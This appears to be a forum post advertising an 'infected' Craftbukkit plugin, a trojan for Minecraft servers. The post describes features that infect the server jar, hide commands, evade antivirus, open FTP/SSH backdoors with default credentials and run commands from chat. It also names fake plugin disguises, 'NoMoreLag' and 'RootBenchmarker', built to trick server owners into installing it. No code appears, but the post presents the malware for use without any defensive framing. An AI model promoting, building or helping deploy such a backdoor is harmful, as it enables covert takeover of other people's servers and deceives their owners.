Squish000 from the forum that may not be typed here made this cool infected plugin.
Features:
The plugin does not appear in the normal directory after running it once (it infects servers main jar file, Craftbukkit.jar)
The commands are not shown in the console
Open source
Start a ftp/ssh server on any port
Run server commands from chat
Isn't detected by any av
Commands (chatcommands):
5quish ftp start
5quish ftp start [port]
5quish ftp stop
5quish ssh start
5quish ssh start [port]
5quish ssh stop
5quish cmd [command without /]
The default user and pass for ssh and ftp server is: 5quishusername 5quishpassword
NoMoreLag - Appears as a plugin to get rid of lag, encounters an error and deletes itself and restarts server
RootBenchmarker - Appears as a plugin to give the server a stress test and rating, shutdown to test start time and then deletes itself to stop the server running it twice.
The libraries used are: ftplet-api, ftpserver-core, mina-core, slf4j-api, slf4j-nop, slf4j-simple and sshd-core
Virus scans:
http://virusscan.jotti.org/en/scanre...dbb6c7006fe426
https://www.virustotal.com/nl/file/b...is/1394054093/